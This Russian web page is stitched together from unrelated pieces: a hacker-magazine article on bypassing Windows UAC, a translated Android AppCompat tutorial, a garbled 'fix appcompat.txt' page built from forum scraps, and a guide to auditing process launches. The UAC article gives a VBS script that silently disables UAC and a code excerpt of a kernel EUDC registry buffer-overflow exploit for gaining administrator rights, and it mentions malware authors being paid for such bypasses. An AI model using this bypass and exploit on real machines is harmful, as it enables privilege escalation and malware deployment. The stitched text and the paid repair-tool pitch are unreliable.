Обламываем UAC: Так ли страшна программисту система контроля пользователей?
Уж не знаю, сколько раз в тырнетах поднималась пресловутая тема контроля за действиями пользователя (UAC): нужна ли она, насколько эффективна… Но мы рассмотрим этот вопрос еще раз, теперь с чисто прикладной, хакерской точки зрения. Плюсы и минусы системы, а также самое главное — как ее можно обойти.
Итак, что же такое UAC с точки зрения безопасности? Разработчики Windows (видимо, немало озаботившись унылыми сведениями из багтраков, регулярно пополняющимися все новыми и новыми уязвимостями в самой распространенной ОС в мире) решили, что если уж все или почти все юзеры сидят под правами администратора, то надо сделать некий программный компонент, который будет испрашивать у юзеров разрешения. Оставим в стороне холивар на тему «Нужны ли простому юзеру права администратора?», поскольку сей крайне философский вопрос спорен: с одной стороны, права админа простому пользователю, действительно, не нужны, а с другой — они нужны туевой хуче довольно повседневных программ.
Как работают Portable-программы
Итак, UAC призвана обеспечить пользователям возможность работать, не прибегая к административным правам. Обладая административными правами, пользователь может просматривать и изменять любую часть операционной системы, включая код и данные других пользователей и даже самой Windows. Без административных прав пользователи не могут случайно изменить системные параметры, вредоносная программа не может изменить параметры системной безопасности или отключить авер, а пользователи не могут нарушить безопасность важных данных других пользователей на общедоступных компьютерах. Работа с правами обычного пользователя, таким образом, помогает уменьшить количество срочных вызовов службы поддержки в корпоративных средах, смягчить ущерб от вредоносной программы, способствует более четкой работе домашних компьютеров и защищает уязвимые данные на общедоступных тачках.
UAC делит все исполняемые задачи на две группы — те, которые могут быть исполнены обычными пользователями, и те, которые выполняются только администраторами. UAC незаметно для администратора переводит систему в режим непривилегированного пользователя, а когда требуются права администратора — появляется системный диалог, через который можно временно повысить свои права.
И ведь надо признать, что введение UAC довольно сильно обломало начинающих и не очень кодеров, зарабатывающих себе на жизнь разработкой малвари, так что на специальных бордах заказчики теперь в первую очередь спрашивают о возможности кода работать в Vista/7 и обходить UAC. Платили и до сих пор платят за это вполне адекватные деньги.
Немного ликбеза, или как законно получить права админа
Определить потребность системы и приложений в административных правах можно множеством способов. Один из них — команда контекстного меню и ярлык «Запуск от имени администратора» в пользовательском интерфейсе проводника. Эти элементы содержат цветной значок щита, который должен быть добавлен ко всем кнопкам или пунктам меню, выбор которых приводит к повышению прав.
Топ 10 программ которые нужны на любом компьютере. Лучшие программы для ПК
При выборе элемента «Запуск от имени администратора» проводник вызывает API-функцию ShellExecute с командой «runas».
Подавляющее большинство программ установки требуют административных прав, поэтому загрузчик образов, который инициирует запуск исполняемого файла, содержит код обнаружения установщиков для выявления устаревших версий. Часть алгоритмов используемой загрузчиком эвристики довольно проста: он ищет слова «setup», «install» или «update» в имени файла образа или внутренней информации о версии. Более сложные алгоритмы включают просмотр в исполняемом файле последовательностей байтов, обычно применяемых сторонними разработчиками в служебных программах — установочных оболочках.
Чтобы определить, нуждается ли целевой исполняемый файл в правах администратора, загрузчик образов также вызывает библиотеку совместимости приложений (appcompat). Библиотека обращается к базе данных совместимости приложений, чтобы определить, связаны ли с исполняемым файлом флаги совместимости RequireAdministrator или RunAsInvoker.
Самый общий способ запросить для исполняемого файла административные права — добавить в его файл манифеста приложения тег requestedElevationLevel. Манифесты — это XML-файлы, содержащие дополнительные сведения об образе. Они были введены в Windows XP как способ определения зависимостей для параллельно используемых библиотек DLL и сборок Microsoft .NET Framework.
Наличие в манифесте элемента trustInfo (он показан ниже во фрагменте дампа Firewallsettings.exe) означает, что исполняемый файл был написан для Windows Vista и содержит элемент requestedElevationLevel.
Атрибут level этого элемента может иметь одно из трех значений: asInvoker, highestAvailable и requireAdministrator.
Исполняемые файлы, не требующие административных прав, (например Notepad.exe), имеют значение атрибута asInvoker. В некоторых исполняемых файлах заложено допущение, что администраторы всегда хотят получить максимальные права. Поэтому в них используется значение highestAvailable. Пользователю, запускающему исполняемый файл с этим значением, предлагается повысить права, только если он работает в режиме AAM или рассматривается как администратор согласно определенным ранее правилам, и в связи с этим должен повысить права для обращения к своим административным привилегиям.
Примерами приложений, для которых используется значение highestAvailable, могут служить программы Regedit.exe, Mmc.exe и Eventvwr.exe. Наконец, значение requireAdministrator всегда инициирует запрос повышения и используется всеми исполняемыми файлами, которым не удастся выполнить свои действия без административных прав.
В приложениях со специальными возможностями атрибуту uiAccess задается значение «true» для управления окном ввода в процессах с повышенными правами. Кроме того, для обеспечения этих возможностей они должны быть подписаны и находиться в одном из нескольких безопасных размещений, включая %SystemRoot% и %ProgramFiles%.
Значения, задаваемые исполняемым файлом, можно легко определить, просмотрев его манифест с помощью служебной программы Sigcheck от Sysinternals. Например: sigcheck –m . При запуске образа, который запрашивает административные права, службе сведений о приложении (известна также как AIS, находится в %SystemRoot%System32 Appinfo.dll), работающей в процессе Service Host (%SystemRoot% System32Svchost.exe), предписывается запустить программу Consent. exe (%SystemRoot%System32Consent.exe). Программа Consent создает снимок экрана, применяет к нему эффект затемнения, переключается на рабочий стол, доступный только системной учетной записи, устанавливает затемненный снимок в качестве фона и открывает диалоговое окно повышения прав, содержащее сведения об исполняемом файле. Вывод на отдельном рабочем столе предотвращает изменение этого диалогового окна любой вредоносной программой, работающей под учетной записью пользователя.
Лезем в обход UAC
Итак, теперь о том, для чего мы все здесь, собственно, собрались. Можно ли обойти UAC? Да, можно. Первое решение, так сказать, лобовое. И основано оно на том удивительном факте (или просчете разработчиков Windows?), что при изменении политики UAC системе глубоко фиолетово, как и кто именно это делает, человек при помощи указателя мыши или же все делается программным способом.
То есть фактически система не различает, кто именно передвигает заветную стрелочку.
Этим мы и воспользуемся — что нам стоит программно отключить UAC? Ничего! Но пойдем мы нетрадиционным способом — забудем о существующих в языках высокого уровня вроде С++ или C# методах типа SendKeys, а возьмем на вооружение простой VBS-скрипт.
Set WshShell = WScript.CreateObject(«WScript.Shell»)
WshShell.SendKeys(«^»)
WScript.Sleep(500)
WshShell.SendKeys(«change uac»)
WScript.Sleep(2000)
WshShell.SendKeys(«»)
WshShell.SendKeys(«»)
WshShell.SendKeys(«»)
WScript.Sleep(2000)
WshShell.SendKeys(«»)
WshShell.SendKeys(«»)
WshShell.SendKeys(«»)
WshShell.SendKeys(«»)
WshShell.SendKeys(«»)
WshShell.SendKeys(«»)
‘// Тут есть одна заковыка — чтобы выбранные изменения
‘// вступили в силу, систему нужно перезагрузить
‘// WshShell.Run «shutdown /r /f»
Да-да, всего-то и нужно, что воспользоваться благами Windows Script Host (WSH), где, кстати, сокрыто от глаз огромное разнообразие возможностей для управления системой, о которых частенько забывают. Но об этом речь пойдет в другой раз.
Второе решение обхода UAC — тоже программное, но не лобовое, а основанное на уязвимости самой системы.
Переполнение буфера
Казалось бы, какая связь между переполнением буфера и UAC? Оказывается, таящиеся в Windows баги позволяют обойти ограничения UAC и повысить свои права. Сегодня я покажу на конкретном примере, как при помощи тривиального переполнения буфера можно обойти UAC и добиться администраторских прав.
Есть такая WinAPI — RtlQueryRegistryValues (msdn.microsoft.com), она используется для того, чтобы запрашивать множественные значения из реестра одним своим вызовом, что делается с использованием специальной таблицы RTL_QUERY_REGISTRY_TABLE, которая передается в качестве __in__out параметра.
Самое интересное (и постыдное для разработчиков Microsoft) в этой API то, что существует определенный ключ реестра, который можно изменить при помощи ограниченных пользовательских прав: HKCU EUDC[Language]SystemDefaultEUDCFont. Если сменить тип этого ключа на REG_BINARY, то вызов RtlQueryRegistryValues приведет к переполнению буфера.
Когда ядерная API-функция Win32k.sys!NtGdiEnableEudc запрашивает ключ реестра HKCUEUDC[Language]SystemDefaultEUDCFont, она честно предполагает, что этот ключ реестра имеет тип REG_SZ, так что в буфер передается структура UNICODE_STRING, у которой первое поле является типом ULONG (где представлена длина строки). Но так как мы можем изменить тип этого параметра на REG_BINARY, то систему это ставит в глубокий тупик и она неправильно интерпретирует длину передаваемого буфера, что приводит к переполнению стека.
Ключевой момент эксплойта
UINT codepage = GetACP();
TCHAR tmpstr[256];
_stprintf_s(tmpstr, TEXT(«EUDC%d»), codepage);
HKEY hKey;
RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL,
RegDeleteValue(hKey, TEXT(«SystemDefaultEUDCFont»));
RegSetValueEx(hKey, TEXT(«SystemDefaultEUDCFont»), 0,
REG_BINARY, RegBuf, ExpSize);
__try
EnableEUDC(TRUE);
>
__except(1)
>
RegDeleteValue(hKey, TEXT(«SystemDefaultEUDCFont»));
RegCloseKey(hKey);
Заключение
Обойти UAC можно. Не скажу, что это легко, ведь разработчики Windows VIsta/W7 постарались на славу, надо отдать им должное. Но все же лазейки остаются. Можно найти одну-две кроличьих дыры, которые способны свести на нет старания команды Windows. Успех в этом случае приходит к тем, кто может работать с отладчиками и дебаггерами типа IDA Pro или WinDBG.
Удачи тебе в твоих стараниях и да пребудет с тобой сила!
Links
Хочешь зарабатывать на поиске уязвимостей в различных программных продуктах? Go for zerodayinitiative.com и получи от $1000 до $10 000 за найденную уязвимость!
Источник: xakep.ru
Appcompat что это за программа и нужна ли она
Полный спектр компьютерных услуг!
Загрузка. Пожалуйста, подождите.
Сообщение сайта
(Сообщение закроется через 2 секунды)
Внимание!
[Перевод] AppCompat v21 — Material Design для пре-Lollipop устройств
Decker
Просмотр профиля
25.10.2014, 20:25
Группа: Главные администраторы
Сообщений: 14349
Регистрация: 12.10.2007
Из: Twilight Zone
Пользователь №: 1
Разработка под Android*
17 октября был опубликован Android 5.0 SDK, который принес новые виджеты и материальный дизайн. Мы расширили библиотеки поддержки, чтобы вы могли использовать ваши последние разработки и на предыдущих версиях Android. Это изменения включают в себ крупное обновление для AppCompat, а так же библиотеки RecyclerView, CardView и Palette.
В этом посте мы взглянем, что нового появилось в AppCompat и как это использовать для поддержки материального дизайна в ваших приложениях.
Что нового в AppCompat?
Библиотека AppCompat (aka ActionBarCompat) появилась как порт нового ActionBar API из Android 4.0 на устройства с Gingerbread. Она представила общий слой API поверх бэкпортированной либо стандартной реализации. AppCompat v21 же приносит API и набор возможностей из Android 5.0
В этой версии Android появился новый виджет Toolbar. Он представляет собой обобщение шаблона ActionBar и дает больше контроля и гибкости. Toolbar — это элемент view в общей иерархии, что упрощает реализацию его взаимодействия с другими виджетами, анимации и реакции на события прокрутки. Так же вы можете использовать его как Actionbar вашей активности, а это значит, что стандартные элементы меню действий будут показываться в нем.
Вы, вероятно, уже пользовались какое-то время обновленной версией AppCompat. Эта библиотека была включена в обновления различных программ Google, вышедшие в последние недели, в том числе Play Маркет и Play Пресса. Кроме того, он был интегрирован в приложение Google I/O, изображенное выше, которое имеет открытый исходный код.
Если вы используете Gradle, просто добавьте appcompat как зависимость в ваш файл build.gradle:
dependencies compile «com.android.support:appcompat-v7:21.0.+»
>
Новая интеграция
Если вы ещё не используете AppCompat или начинаете с нуля, вот как её подключить:
- Все ваши активности должны наследоваться от ActionBarActivity, которая в свою очередь наследуется от FragmentActivity из библиотеки v4 support, поэтому вы можете продолжать использовать фрагменты.
- Все вашим темы (которые включают Action Bar/Toolbar) должны наследоваться от Theme.AppCompat. Есть несколько вариантов тем, в том числе светлая (Light) и тема без панели действий (NoActionBar).
- Когда внедряете что-то для отображения в панели (например, SpinnerAdater для навигации), удостоверьтесь, что используете контекст с темой панели, полученный с помощью getSupportActionBar().getThemedContext().
- Вы должны использовать статические методы класса MenuItemCompat для вызовов MenuItem, относящимся к действиям.
Для получения дополнительной информации обратитесь к руководству по API Action Bar, которое является исчерпывающим руководством по AppCompat.
Миграция с предыдущих версий
Для большинства приложений теперь вам достаточно одного объявления темы в values/:
Теперь вы можете убрать все стили ActionBar из values-v14+.
Темы оформления
AppCompat поддерживает новые атрибуты цветовой палитры, которые позволяют настроить тему под ваш брэнд, используя основной и акцентный цвета. Например:
Когда вы зададите эти аттрибуты, AppCompat автоматически применит их как значения атрибутов из API 21+. А это, в свою очередь, окрасит панель статуса и элемент в списке недавних задач.
На более старых платформах, AppCompat эмулирует цветовые темы, когда это возможно. В текущий момент, это ограничивается окрашиванием панели действий и некоторыми виджетами.
Тонировка виджетов
Когда вы запускаете приложение на устройстве с Android 5.0, все виджеты тонируются цветом, указанным в атрибутах темы. Есть две основные возможности, которые позволяют это делать на Lollipop: тонировка drawable и ссылки на аттрибуты тем (в формате ?attr/foo) внутри drawable.
AppCompat предлагает похожее поведение на ранних версиях Android для следующего множества UI виджетов:
- Все, что предлагается в AppCompat toolbar (режимы действий и прочее)
- EditText
- Spinner
- CheckBox
- RadioButton
- Switch (используйте новый класс android.support.v7.widget.SwitchCompat)
- CheckedTextView
Вам ничего не нужно делать специально, чтобы это заработало. Используйте эти элементы в вашей разметке как обычно, а AppCompat сделает остальное (с некоторыми оговорками, см. FAQ ниже).
Виджет панели инструментов (Toolbar)
Toolbar полностью поддерживается библиотекой AppCompat и полностью полностью соответствует как по возможностям, так и по API вызовам, виджету из SDK. В AppCompat, панель инструментов реализуется с помощью класса android.support.v7.widget.Toolbar. Есть два способа её применения:
- Использовать как ActionBar, если вы хотите использовать существующие возможности Action Bar (такие, как внедрение меню, выделение, ActionBarDrawerToggle и т.д.), но при этом хотите больше контроля над её внешним видом.
- Использовать автономную панель в ситуациях, когда обычный ActionBar не подходит. Например, чтобы показать несколько панелей на экране, занять только часть экрана по ширине и т.д.
Чтобы использовать Toolbar в качестве ActionBar, во-первых, отключите обычный ActionBar. Самый простой способ сделать это — унаследовать вашу тему от Theme.AppCompat.NoActionBar (или светлого её варианта)
Во-вторых, создайте экземпляр панели инструментов. Например, включив её в ваш xml-файл разметки
Высота, ширина, фон и прочее теперь полностью зависят от вас, это просто хороший пример. Так как Toolbar — это просто ViewGourp, вы можете стилизовать и позиционировать его на своё усмотрение.
И наконец, установите Toolbar в качестве ActionBar в вашей активности или фрагменте:
Toolbar toolbar = (Toolbar) findViewById(R.id.my_awesome_toolbar);
setSupportActionBar(toolbar);
>
Начиная с этого момента все элементы меню будут отображаться в вашей панели инструментов, наполняясь с помощью стандартных вызовов настройки меню.
Автономное использование
Отличие автономного режима в том, что вы не задаете Toolbar в качестве ActionBar. Поэтому, вы можете использовать любую тему AppCompat и вам не нужно отключать обычный ActionBar.
В автономном режиме вы можете наполнять Toolbar содержимым или действиями. Например, если вы хотите показать действия, вам нужно внедрить меню:
Toolbar toolbar = (Toolbar) findViewById(R.id.my_awesome_toolbar);
// Inflate a menu to be displayed in the toolbar
toolbar.inflateMenu(R.menu.your_toolbar_menu);
>
Есть множество других вещей, которые можно делать с панелью инструментов. Для получения дополнительной информации, смотрите описание Toolbar API.
Настройка стиля панели инструментов отличается от того, как это делалось для стандартной панели действий. Стиль применяется прямо к самому виджету.
Вот основной стиль, который вы должны использовать, когда вы используете Toolbar в качестве ActionBar:
Объявление app:theme позволит убедиться, что шрифт и элементы используют чистый цвет (например, 100% непрозрачный белый).
Темная панель действий
Вы можете настроить панель инструментов напрямую, используя атрибуты разметки. Чтобы Toolbar выглядела как «DarkActionBar» (тёмное содержимое, светлое меню переполнения), укажите атрибуты theme и popupTheme:
Виджет поиска (SearchView)
AppCompat предлагает обновленное API для виджета поиска, которое поддается большей настройке и стилизации. Теперь мы используем структуру стилей из Lollipop вместо старых searchView* аттрибутов темы.
Вот как вы можете настроить стиль SearchView:
Вам не нужно указывать все (или вообще какие-то) из аттрибутов. Значения по-умолчанию должны подойти большинству приложений.
Toolbar на подходе.
Надеюсь, эта статья поможет приступить к работе с AppCompat и позволит создать удивительные приложения в материальном стиле. Дайте знать в комментариях к оригинальной статье/Google+/Twitter, если у вас есть вопросы о AppCompat или о любой из поддерживаемых библиотек, или где мы можем предоставить больше документации
Почему мой EditText (или другой виджет из списка выше) не окрашен корректно на устройстве с Android до Lollipop?
Тонирование виджетов в AppCompat работает с помощью перехвата внедрения разметки и вставки специальных тонированных версий виджетов. Для большинства людей это будет работать правильно. Но есть несколько сценариев, когда это не работает, в том числе:
- У вас кастомизированная версия виджета (вы отнаследовали EditText)
- Вы создаете EditText без использования LayoutInflater (например, вызвав new EditText())
Специальные тонированные версии виджетов пока скрыты, так как они находятся в незаконченном состоянии. Это может измениться в будущем.
Почему виджет X не имеет материального стиля на не-Lollipop устройствах?
Пока были обновлены только некоторые, самые распространенные виджеты. В будущих релизах будут добавлены другие.
Почему у моего Action Bar осталась тень на Android Lollipop? Я задал android:windowContentOverlay равный null.
На Lollipop тень под панелью создается с помощью нового API подъема. Чтобы убрать её, вам нужно вызвать getSupportActionBar().setElevation(0) или задать значение атрибута elevation в описании стиля Actionbar.
Почему нет ripple-анимации на устройствах до Lollipop?
Главное, что позволяет RippleDrawable анимироваться плавно в Android 5.0 — это новый RenderThread. Для оптимизации производительности на предыдущих версиях Android мы пока оставили RippleDrawable за бортом.
Как мне использовать AppCompat с Preferences?
Вы можете продолжать использовать PreferenceFragment в ActionBarActivity, когда запускаете приложение на устройстве с API v11+. Для устройств с предыдущей версией API вам придется использовать PreferenceActivity, которая не стилизована под материальный дизайн.
P.S. Это мой первый перевод, прошу писать в личку обо всех неточностях (особенно, что касается русских терминов)
Источник: dml.compkaluga.ru
How To Fix appcompat.txt —>
To Fix (appcompat.txt) error you need to follow the steps below:
Совместимость : Windows 10, 8.1, 8, 7, Vista, XP
Загрузить размер : 6MB
Требования : Процессор 300 МГц, 256 MB Ram, 22 MB HDD
Limitations: This download is a free evaluation version. Full repairs starting at $19.95.
appcompat.txt обычно вызвано неверно настроенными системными настройками или нерегулярными записями в реестре Windows. Эта ошибка может быть исправлена специальным программным обеспечением, которое восстанавливает реестр и настраивает системные настройки для восстановления стабильности
If you have appcompat.txt then we strongly recommend that you Download (appcompat.txt) Repair Tool .
This article contains information that shows you how to fix appcompat.txt both (manually) and (automatically) , In addition, this article will help you troubleshoot some common error messages related to appcompat.txt that you may receive.
Примечание: Эта статья была обновлено на 2022-12-14 и ранее опубликованный под WIKI_Q210794
Meaning of appcompat.txt?
If you want to download and use apps for your computer, you can visit the Windows Store, Microsoft’s official marketplace. There are a number of apps to choose from and download anytime. But, chances are, there are app errors that you will encounter while using or installing the apps. Some apps will fail to install while others will not run or create any update. Other apps will simply crash. Still, there are also fixes to resolve the issues. You can clear your cache, run a troubleshooter or reset the apps. The idea is not to panic when you encounter an app error.
An easy fix will often help.
Causes of appcompat.txt?
Загрузка новых и обновленных приложений в Windows Store может быть интересной, пока вы не столкнетесь с ошибкой приложения. К счастью, существует несколько способов устранения этих ошибок. Простым способом является проверка настроек времени и даты. Зачастую обновления не работают, потому что ваше время и дата неверны.
Если он все еще не работает, попробуйте выполнить следующие другие исправления:
- Сбросьте свой кэш Windows Store с помощью команды WSRESET
- Удаление временных файлов
- Используйте средство устранения неполадок приложений Windows Store для сканирования и обнаружения проблем
- Очистить кеш-память
- Сбросьте компоненты Windows Update
- Редактирование реестра для ошибок подключения
- Перерегистрируйте Windows Store
More info on appcompat.txt
XP + SP2 I have a problem which shows itself in save the log file. Run a scan and and post it in the forum. Please advise how to rectify other than a full re-installation of XP SP2. I have, of course, redownloaded programs C:HJT and move HijackThis.exe there.
Please download HijackThis (http://www.greyknight17.com/spy/HijackThis.exe) — this program will help running CD’s and some searches in one of my browsers, BT-Yahoo. Run HijackThis Analyzer and type and run a/v and anti-trojan programs. in y if you agree. Open up the to the same folder as the hijackthis.log file.
Create a folder at ‘result.txt’ file created. Get HijackThis Analyzer (http://www.greyknight17.com/download.htm#programs) and save it some of these may be harmless. Do not fix anything in HijackThis since us determine if there are any spyware/malware on your computer. Copy the whole result.txt log
Перед запросом поддержки
Make sure you check version numbers and get all updates. Also there are steps included for installing, Run ALL the steps in this Sticky thread READ report this error to Microsoft»?
about the problem. Hijack this folders try to delete it, etc. It’s meant for the engineers back at Microsoft to when this error kicked up? use to analyze failures and hopefully provide fixes over time.
It contains information the problem.Click to expand. You’ve seen the message asking you if you It contains information about here at one point but here goes:
Trying to run a program, appcompat error comes up. Appcompat.txt is a file that
Can that you understand this. is replaced with the actual information that was presented in the error message. I point it out here, simply to drive home the point:
Appcompat.txt is not the problem. So click on Start, Run and enter:
Where «C:DOCUME~1usernameLOCALS~1TempWER7b4e.dir00appcompat.txt» doing so.Uninstall the old version and reboot be.
This includes but is not limited Click here for rules and also look at the FAQ to Bearshare, Kazaa and many others. to illegally download and use copyrighted material of whatever description.
We believe that the main purpose of P2P programs is to make shore that you dont make the mistake again! I would sugest to read the rules before posting again, Click here to view
I hope you can help me as this is making it difficult to work on my computer.
For the last week I have been getting a Windows Explorer has encountered a problem and will close error. The file name referenced is
I noticed others have had similar error messages and you asked for the Hijackthis log so I went ahead and did it to save time.
Please read it problem with my laptop, not this one.
Hi there friends, I am having a search and found this. Bless.
I did a me the fault report I send it and it then shuts the explorer down. Thanks already Any one know what I can do??
And the fault report says it Appcompat.txt for reading. Every time I try to use explorer, on 98% of sites it gives might help
Я с нетерпением жду
I have a Dell Computer running Windows I gave up yesterday, but today when I went to work in my XP issue and not related to just one program.
Quicken Basic, the same ERROR MESSAGE came up again — with the appcompat.txt information. I have NOT installed any other programs lately nor have I downloaded anything in the past couple of months. This is why I believe this is a Windows which has the latest virus definitions and nothing helped. Finally, I ran a virus scan with Norton Antivirus help.
Please causing this problem all of a sudden? Regards!
XP Home Edition with a Pentium 4 Processor. Any ideas on what may be to your input. I have had this computer for 1 year now and only yesterday did I begin to have problems with it.
Try doing a system restore going back to when it was working OK http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q306084
the Internet connection work, but no luck. I did not from work, I received that error. My computer worked install any software.
I have tried everything to get perfect fine yesterday. I scanned for virus few days ago (McAfee AntiVirus program included Spybot, Ad-ware, etc.)
I would appreciate any help. All application in Windows worked Today when I came home 4550
Dell Security Center (McAfee) with Firewall, AntiSpam, AntiHack, AntiVirus enabled.
Here’s my computer specific:
Windows XP Home Edition with SP2
Dell Dimension perfect fine except for Internet connection.
Can to find a solution. I use XP and you help? I have have found no virus with message, Outlook closes and I must reopen. I can’t seem have installed the security updates.
results in requests to send error Symantec, or spyware with Spybot.
See svchost Have run cleanmgr and %temp% but need help to delete correct files. Ran hijack log attached and but no appcompat.
Also, where did these it comes back in 2 reboots. Also would like to close msn messanger down because of security in agency. files come from ?
Hi
I am having a problem with internet explore 6.
i have tried very hard to at my hijackthis log. Didnt work of course. Have a look Somtimes iexplorer will crash with retarded error
такие программы, как завоевание: пограничная война, игровой сервис 4, звездный дизайн, Windows Media 10 и т. д.
К сожалению, это не единственная программа, которая дает мне такой вид, о котором я могу думать. Я пробовал все исправить эту проблему самостоятельно. ошибка с appcompat.txtI даже удалена sp2 в c, если это поможет. Кажется, что когда я запускаю программу под названием установленный sp2 для дома Windows, она всегда сбой теперь.
Посмотрите на ошибку:
AppName: dvdsanta.exe AppVer: 1.0.0.1 Модифицировано: неизвестно
ModVer: смещение 0.0.0.0: 0fc7f684
с: DOCUME ~ 1 Алекс местные ~ 1 Temp werc41.tmp.dir appcompat.txt. Это хорошо работает, но когда я dvdsanta, который я использую для преобразования файлов в формат dvd.
Что такое следующая папка
C: Windows AppCompat оценщик Телеметрия
*
* Меня беспокоит эта «телеметрия». Нужно ли мне это? Я полностью работаю на рабочем столе?
В моем ноутбуке 8.1 я нахожу и не использую сторону приложения для метро.
Others have suggested turning off recently install anything new (neither hardware nor software) and everything worked perfectly before, including Kazaa. Actually, the only thing that’s new is Microsoft and received an answer (or knows the answer) to put this annoyance to rest? Thank you kindly in upon researching, appears to be quite common lately.
would crash (which brings down everything else running at the time too).
Okay, I recently developed this problem that error reporting and other Windows processes. Now it’s happening with Adobe Premiere, not immediately that I installed the latest windows update. I first noticed it when using windows explorer in XP Pro- Explorer advance,
I can’t seem to find a definitive solution, so i’m wondering if anyone has contacted folder that I store videos, causing explorer to close. It occurs immediately EVERY time i went into the low-level formatting and reinstallation of XP (neither of which were successful). Further attempts at solving have included such drastic measures as but after starting it, but some time later. It has only just started in the past couple of days and I did not
I just got this problem like this week.
GPOs are be awesome.
The user only gets this error when he logs onto any event logs are showing. Its got to be cash, but thats just a stab in the dark. I think its files conflicting with the offline customer getting a shlwapi.dll failure.
We currently have a and i know its not a virus. The user logs into a domain enviroment and logs xp machine, however other users do not get explorer crash dumps. Anything would offline files would corrupt exporer.exe. Ive looked through a lot of forums looking for an answer applying correctly.
Application crash dump in and tried only a few, due to me not being on site. profile related to that user. I know its not a system failure onto multiple machines between windows xp and windows 7. Does any one know why
Hey im having trouble recently with this file,,if im internet explorer windows explorer it gives me a error report and that files included in all of em.
happened on Firefox https://ru.fileerrors.com/appcompat-txt.html» target=»_blank»]ru.fileerrors.com[/mask_link]
Получаем историю запуска программ в Windows с помощью политик аудита
16.11.2022
itpro
PowerShell, Windows 10, Windows Server 2019, Групповые политики
комментариев 5
В этой статье мы рассмотрим, как с помощью политик аудита Windows можно узнать какие программы запускались на компьютере. Довольно часто от администратора требуют предоставить информацию о том, какие приложения запускает пользователь, когда он запускал приложение в последний раз и т.д. Эту информацию можно собрать из журнала событий Windows и преобразовать в удобный отчет с помощью PowerShell.
Сначала нужно включить политику аудита запуска/остановки процессов в Windows.
Если вы хотите включить политику аудита процессов на компьютерах в домене Active Directory, нужно использовать редактор доменных GPO – gpmc.msc .
Мы показывали, как использовать эти события аудита для поиска источника блокировки учетной записи на компьютере.
Откройте Event Viewer ( eventvwr.msc ) и разверните раздел Windows Logs -> Security. Теперь при запуске любой программы (процесса) в этом журнале событий появляется событие Process Creation с EventID 4688.
A new process has been created.
В информации о событии указан пользователь, запустивший программу ( Creator Subject ), имя исполняемого файла процесса ( New Process Name ) и родительский процесс, из которого было запущено приложение ( Creator Process Name ).
Событие завершения процесса (A process has exited) имеет EventID 4689. Ранее мы показывали как с помощью этих события и триггера планировщика можно выполнить скрипт (действие) при запуске/завершении определённой программы в Windows.
Обратите внимание, что при включении рассмотренной выше политики Audit process tracking в журнал Security начинают сохранятся все события, связанные с процессами. Если вы хотите уменьшить число событий в Event Viewer и сохранять только информацию о событиях запуска, можно отключить данную политику и включить только расширенную политику аудита Audit Process Creation (Windows Settings -> Security Settings -> Advanced Audit Policy Configurations -> System Audit Policy -> Detailed Tracking).
Чтобы в события аудита записывалась информация о параметрах запуска процессов (аргументы, с которыми запускаются программы), включите также параметр GPO Include command line in process creation events в Computer Configuration -> Administrative Templates -> System -> Audit Process Creation.
После включения этой политики в аргументе Process Command Line видно, с каким аргументом запускался тот или иной процесс.
Не забудьте увеличить размер журнала Security со стандартных 20 Мб. Это позволит хранить история запуска приложения за более длительный период. Для этого откройте свойства журнала Security и увеличьте значение параметра Maximum log size.
Для анализа программ, запущенных пользователем можно использовать фильтры Event Viewer. Но это не очень удобно. Ниже я покажу несколько PowerShell скриптов который позволят вам получить удобные списки событий с историей запуска приложений пользователями. Для получения событий из журнала Event Viewer мы будем использовать команду Get-WinEvent:
Данный PowerShell скрипт выберет все события запуска программ за сегодняшний день и выведет список процессов, времени запуска и пользователях в графическую таблицу Out-GridView.
Полученный массив объектов можно использовать для выполнения различных запросов.
- Найти всех пользователей, которые запускали определённое приложение: $proc_name=”notepad++.exe”
$processhistory | where-object |out-gridview - Вывести список программ, которые запускал сегодня определенный пользователь:
$username=»aivanov»
$processhistory | where-object |out-gridview
Такие скрипты часто используем для анализа запуска программ пользователей на серверах RDS фермы.
Также история запуска программ в Windows ведется в файле %SystemRoot%AppCompatProgramsAmcache.hve. Файл заблокирован Windows и прочитать его можно только, загрузившись с LiveCD или загрузочного/установочного диска. В файле есть метки запуска, установки/удаления программы, контрольные суммы исполняемого файла (SHA1). Для преобразования этого бинарного файла в текстовый формат нужно использовать сторонние утилиты (например, regripper).
Также напоминаю, что PowerShell также ведет собственную историю запущенных команд.
Предыдущая статья Следующая статья
Источник: winitpro.ru